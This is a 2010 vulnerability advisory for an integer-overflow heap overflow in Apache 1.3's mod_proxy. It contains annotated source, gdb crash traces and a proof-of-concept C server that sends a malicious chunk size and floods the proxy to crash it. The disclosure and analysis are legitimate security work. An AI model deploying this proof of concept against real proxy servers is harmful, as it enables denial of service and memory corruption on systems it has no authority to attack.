Name: Mod_proxy from apache 1.3 - Integer overflow which causes heap overflow.=0D
Author: Adam Zabrocki ( or )=0D
Date: Jan 27, 2010=0D
=0D
=0D
Issue:=0D
=0D
Mod_proxy from apache 1.3.xx (tested on latest version - 1.3.41) allows local and remote attackers=0D
to overflow buffer on heap via integer overflow vulnerability.=0D
=0D
=0D
Description:=0D
=0D
Mod_proxy implements a proxy/cache for Apache. It implements proxying capability for FTP, CONNECT (for SSL),=0D
HTTP/0.9, HTTP/1.0, and (as of Apache 1.3.23) HTTP/1.1. The module can be configured to connect to other=0D
proxy modules for these and other protocols.=0D
=0D
=0D
Details:=0D
=0D
=0D
Let's look in code:=0D
=0D
"./src/modules/proxy/proxy_util.c"=0D
long int ap_proxy_send_fb(BUFF *f, request_rec *r, cache_req *c, off_t len, int nowrite, int chunked, size_t recv_buffer_size)=0D
{=0D
=0D
...=0D
size_t buf_size;=0D
long remaining = 0;=0D
...=0D
=0D
for (end_of_chunk = ok = 1; ok;) {=0D
...=0D
if (chunked) {=0D
long chunk_start = 0;=0D
n = 0;=0D
=0D
/* start of a new chunk */=0D
if (end_of_chunk) {=0D
end_of_chunk = 0;=0D
/* get the chunk size from the stream */=0D
chunk_start = ap_getline(buf, buf_size, f, 0); <---------------- [0] reading line from traffic (socket)=0D
if ((chunk_start <= 0) || ((size_t)chunk_start + 1 >= buf_size) || !ap_isxdigit(*buf)) {=0D
n = -1;=0D
}=0D
/* parse the chunk size */=0D
else {=0D
remaining = ap_get_chunk_size(buf); <---------------- [1] convert readed data to 'long' size!=0D
if (remaining == 0) { /* Last chunk indicated, get footers */=0D
...=0D
...=0D
}=0D
}=0D
else if (remaining < 0) {=0D
n = -1;=0D
ap_log_rerror(APLOG_MARK, APLOG_DEBUG|APLOG_NOERRNO, r,=0D
"proxy: remote protocol error, invalid chunk size");=0D
}=0D
}=0D
}=0D
=0D
/* read the chunk */=0D
if (remaining > 0) {=0D
n = ap_bread(f, buf, MIN((int)buf_size, (int)remaining)); <------------- [2] convert 'long' to 'int' !!!!=0D
if (n > -1) {=0D
remaining -= n;=0D
end_of_chunk = (remaining == 0);=0D
}=0D
}=0D
...=0D
...=0D
}=0D
=0D
OK. We have simple flow in this code:=0D
=0D
-> server read header=0D
-> if it is chunked connection=0D
-> [0] server will wait and then read data from socket (size of the chunk)=0D
-> simple check what server received=0D
-> [1] convert received data to 'long' type=0D
-> if there is possitive chunk size=0D
-> [2] directly convert 'long' to 'int' type <- here is integer overflow bug in amd64 architecture !!!=0D
-> copy data using converted type=0D
=0D
=0D
Vulnerability exists only in 64 bits architectures when server directly convert 'long' type to 'int'.=0D
On 64 bits architectures:=0D
long - 8 bytes=0D
int - 4 bytes=0D
=0D
When we have conversion from 'long' to 'int' in 64 bits architectures, directly is removed lower 4 bytes.=0D
=0D
OK. Let's find calls to this vulnerable function:=0D
./src/modules/proxy/proxy_cache.c: ap_proxy_send_fb(c->origfp, r, c, c->len, 1, 0, IOBUFSIZE);=0D
./src/modules/proxy/proxy_cache.c: ap_proxy_send_fb(c->origfp, r, c, c->len, 1, 0, IOBUFSIZE);=0D
./src/modules/proxy/proxy_cache.c: ap_proxy_send_fb(c->origfp, r, c, c->len, r->header_only, 0, IOBUFSIZE);=0D
./src/modules/proxy/proxy_cache.c: ap_proxy_send_fb(cachefp, r, NULL, c->len, 0, 0, IOBUFSIZE);=0D
./src/modules/proxy/proxy_ftp.c: ap_proxy_send_fb(data, r, c, -1, 0, 0, conf->io_buffer_size);=0D
./src/modules/proxy/proxy_http.c: ap_proxy_send_fb(f, r, c, c->len, 0, chunked != NULL, =0D
=0D
I was testing mod_proxy for http configuration. How it works in details?=0D
=0D
client ---------> Server < -- (mod_proxy_XXX) -- > Other server=0D
^=0D
|=0D
|=0D
-> CACHE (proxy cache)=0D
=0D
Proof of Concept which I attached to this advisory causes vulnerability in connection:=0D
Server < ---- > Other server=0D
... but as we can see (calls to vuln function) probably there is some opportunity=0D
to trigger this vulnerability from CACHE (proxy cache).=0D
=0D
In real world this vulnerability is dangerous for open proxy servers. In pentesting could be useful=0D
to attack server behind other servers... but... everyone knows probably better vectors :)=0D
=0D
=0D
Proof of concept=0D
=0D
[root@pi3-test apache]# gdb -q ./bin/httpd=0D
(gdb) r -X=0D
Starting program: /usr/local/apache/bin/httpd -X=0D
[Sun Dec 27 05:03:19 2009] [alert] httpd: Could not determine the server's fully =0D
qualified domain name, using 127.0.0.1 for ServerName=0D
=0D
Program received signal SIGSEGV, Segmentation fault.=0D
0x0000003fec682958 in memcpy () from /lib64/libc.so.6=0D
Missing separate debuginfos, use: debuginfo-install expat-2.0.1-6.fc11.1.x86_64 =0D
glibc-2.10.1-5.x86_64 nss-softokn-freebl-3.12.4-3.fc11.x86_64=0D
(gdb) bt=0D
#0 0x0000003fec682958 in memcpy () from /lib64/libc.so.6=0D
#1 0x000000000043083c in inet_addr ()=0D
#2 0x000000000042a796 in inet_addr ()=0D
#3 0x000000000042975f in inet_addr ()=0D
#4 0x000000000041d8f5 in inet_addr ()=0D
#5 0x0000000000432a29 in inet_addr ()=0D
#6 0x000000000044bc88 in inet_addr ()=0D
#7 0x000000000044bceb in inet_addr ()=0D
#8 0x0000000000441344 in inet_addr ()=0D
#9 0x0000000000441521 in inet_addr ()=0D
#10 0x00000000004416a7 in inet_addr ()=0D
#11 0x0000000000441f5f in inet_addr ()=0D
#12 0x0000000000442820 in inet_addr ()=0D
#13 0x0000003fec61ea2d in __libc_start_main () from /lib64/libc.so.6=0D
#14 0x0000000000403399 in inet_addr ()=0D
#15 0x00007fffffffe618 in ?? ()=0D
#16 0x000000000000001c in ?? ()=0D
#17 0x0000000000000002 in ?? ()=0D
#18 0x00007fffffffe87d in ?? ()=0D
#19 0x00007fffffffe899 in ?? ()=0D
#20 0x0000000000000000 in ?? ()=0D
(gdb) x/i $rip=0D
0x3fec682958 : mov %r11,0x20(%rdi)=0D
(gdb) i r rdi=0D
rdi 0x6d1fde 7151582=0D
(gdb) i r r11=0D
r11 0x0 0=0D
(gdb)=0D
=0D
=0D
OK. Let's do the same with debug symbols:=0D
=0D
[root@pi3-test apache_1.3.41]# gdb -q ./src/httpd =0D
(gdb) r -X=0D
Starting program: /root/mod_proxy/apache_1.3.41/src/httpd -X=0D
[Wed Dec 30 17:00:37 2009] [alert] httpd: Could not determine the server's fully =0D
qualified domain name, using 127.0.0.1 for ServerName=0D
=0D
Program received signal SIGSEGV, Segmentation fault.=0D
0x0000003fec682958 in memcpy () from /lib64/libc.so.6=0D
Missing separate debuginfos, use: debuginfo-install expat-2.0.1-6.fc11.1.x86_64 =0D
glibc-2.10.1-5.x86_64 nss-softokn-freebl-3.12.4-3.fc11.x86_64=0D
(gdb) bt=0D
#0 0x0000003fec682958 in memcpy () from /lib64/libc.so.6=0D
#1 0x000000000043083c in ap_bread (fb=0x6bb120, buf=0x6bfd98, nbyte=-65536) at buff.c:776=0D
#2 0x000000000042a796 in ap_proxy_send_fb (f=0x6bb120, r=0x6b9960, c=0x6bacc0, len=-1,=0D
nowrite=0, chunked=1, recv_buffer_size=8192) at proxy_util.c:536=0D
#3 0x000000000042975f in ap_proxy_http_handler (r=0x6b9960, c=0x6bacc0,=0D
url=0x6bacae "http://127.0.0.1/", proxyhost=0x0, proxyport=0) at proxy_http.c:636=0D
#4 0x000000000041d8f5 in proxy_handler (r=0x6b9960) at mod_proxy.c:395=0D
#5 0x0000000000432a29 in ap_invoke_handler (r=0x6b9960) at http_config.c:476=0D
#6 0x000000000044bc88 in process_request_internal (r=0x6b9960) at http_request.c:1299=0D
#7 0x000000000044bceb in ap_process_request (r=0x6b9960) at http_request.c:1315=0D
#8 0x0000000000441344 in child_main (child_num_arg=0) at http_main.c:4885=0D
#9 0x0000000000441521 in make_child (s=0x68f0b0, slot=0, now=1262188837) at http_main.c:5000=0D
#10 0x00000000004416a7 in startup_children (number_to_start=5) at http_main.c:5083=0D
#11 0x0000000000441f5f in standalone_main (argc=2, argv=0x7fffffffe608) at http_main.c:5430=0D
#12 0x0000000000442820 in main (argc=2, argv=0x7fffffffe608) at http_main.c:5773=0D
(gdb) up=0D
#1 0x000000000043083c in ap_bread (fb=0x6bb120, buf=0x6bfd98, nbyte=-65536) at buff.c:776=0D
776 memcpy(buf, fb->inptr, nbyte);=0D
(gdb) print nbyte=0D
$1 = -65536=0D
(gdb) print (unsigned int)nbyte=0D
$2 = 4294901760=0D
(gdb) list=0D
771 #ifdef CHARSET_EBCDIC=0D
772 if (fb->flags & B_ASCII2EBCDIC)=0D
773 ascii2ebcdic(buf, fb->inptr, nbyte);=0D
774 else=0D
775 #endif /*CHARSET_EBCDIC*/=0D
776 memcpy(buf, fb->inptr, nbyte);=0D
777 fb->incnt = nrd - nbyte;=0D
778 fb->inptr += nbyte;=0D
779 return nbyte;=0D
780 }=0D
=0D
=0D
--- server.c ---=0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
=0D
#define PORT 80=0D
#define sys_err(x) \=0D
do { \=0D
fprintf(stderr,"%s",x); \=0D
exit(-1); \=0D
} while(0)=0D
=0D
void *parse_me(void *arg);=0D
=0D
int main(int argc, char *argv[]) {=0D
=0D
int r_sock,connfd,tmp,tmp2;=0D
struct sockaddr_in saddr;=0D
pthread_t bo_tak;=0D
struct stat statbuf;=0D
=0D
if ( (r_sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)=0D
sys_err("Socket()!\n");=0D
=0D
tmp=sizeof(struct sockaddr_in);=0D
memset(&saddr,0x0,tmp);=0D
saddr.sin_family = PF_INET;=0D
saddr.sin_port = htons(PORT);=0D
saddr.sin_addr.s_addr = htonl(INADDR_ANY);=0D
=0D
if (bind(r_sock, (struct sockaddr *) &saddr, tmp) == -1)=0D
sys_err("Bind()!\n");=0D
=0D
if ( (listen(r_sock,0x666)) != 0)=0D
sys_err("Listen()!\n");=0D
=0D
pierw_p:=0D
=0D
while (1) {=0D
if ( (connfd=accept(r_sock,(struct sockaddr*)&saddr,(socklen_t *)&tmp)) < 0) {=0D
if (errno == EINTR)=0D
goto pierw_p;=0D
else=0D
sys_err("Accept()!\n");=0D
}=0D
if ( (tmp2=pthread_create(&bo_tak,NULL,parse_me,(void *)connfd/*&tymczasowe*/) != 0))=0D
sys_err("Accept() => Blad przy tworzeniu watku! Wychodze...");=0D
}=0D
}=0D
=0D
void *parse_me(void *arg) {=0D
=0D
int sock = (int)arg;=0D
char buf[4096];=0D
char *head = "HTTP/1.1 200 OK\r\n"=0D
"Date: Sat, 66 Dec 666 23:56:50 GMT\r\n"=0D
"Server: pi3 (pi3 OS)\r\n"=0D
"X-Powered-By: pi3\r\n"=0D
"Connection: close\r\n"=0D
"Transfer-Encoding: chunked\r\n"=0D
"Content-Type: text/html; charset=UTF-8\r\n\r\n";=0D
=0D
memset(buf,0x0,4096);=0D
read(sock,buf,4096);=0D
write(sock,head,strlen(head));=0D
write(sock,"10000000FFFF0000\n",17);=0D
while(1)=0D
write(sock,"A",1);=0D
}=0D
--- EOF ---=0D
=0D
Greets=0D
=0D
+) Kochana Ewa :* :)=0D
+) Guys from HISPASEC, snoop, thorkill, Piotr Bania, tmg, guys from isec.pl,=0D
guys from SecurityReason, #lam3rz@IRCNET and #plhack@IRCNET=0D
+) Colm MacC=E1rthaigh from apache security team.=0D
=0D
=0D
Disclaimer=0D
=0D
This document and all the information it contains is provided "as is",=0D
without any warranty. The author is not responsible for the=0D
misuse of the information provided in this advisory. The advisory is=0D
provided for educational purposes only.=0D
=0D
Permission is hereby granted to redistribute this advisory, providing=0D
that no changes are made and that the copyright notices and=0D
disclaimers remain intact.=0D
=0D
=0D
Ending words...=0D
=0D
That's all. I have tested it on/with latest apache version - 1.3.41.=0D
Probably all versions 1.3.xx are vulnerability.=0D
=0D
- Thanks and Best regards Adam Zabrocki (pi3 / pi3ki31ny).=0D
=0D
=0D
BUGFIX:=0D
=0D
Fix is available in a forthcoming version of Apache 1.3.x.=0D
=0D
=0D
Disclosure Timeline=0D
=0D
*) 27 Jan, 2010 - release advisory=0D
...=0D
*) 06 Jan, 2010 - release patch=0D
...=0D
...=0D
*) 30 Dec, 2009 - contact with vendor=0D
*) 24 Dec, 2009 - exploit bug and write advisory=0D
*) 04 Sept, 2009 - found bug=0D
=0D
=0D
--=0D
http://pi3.com.pl=0D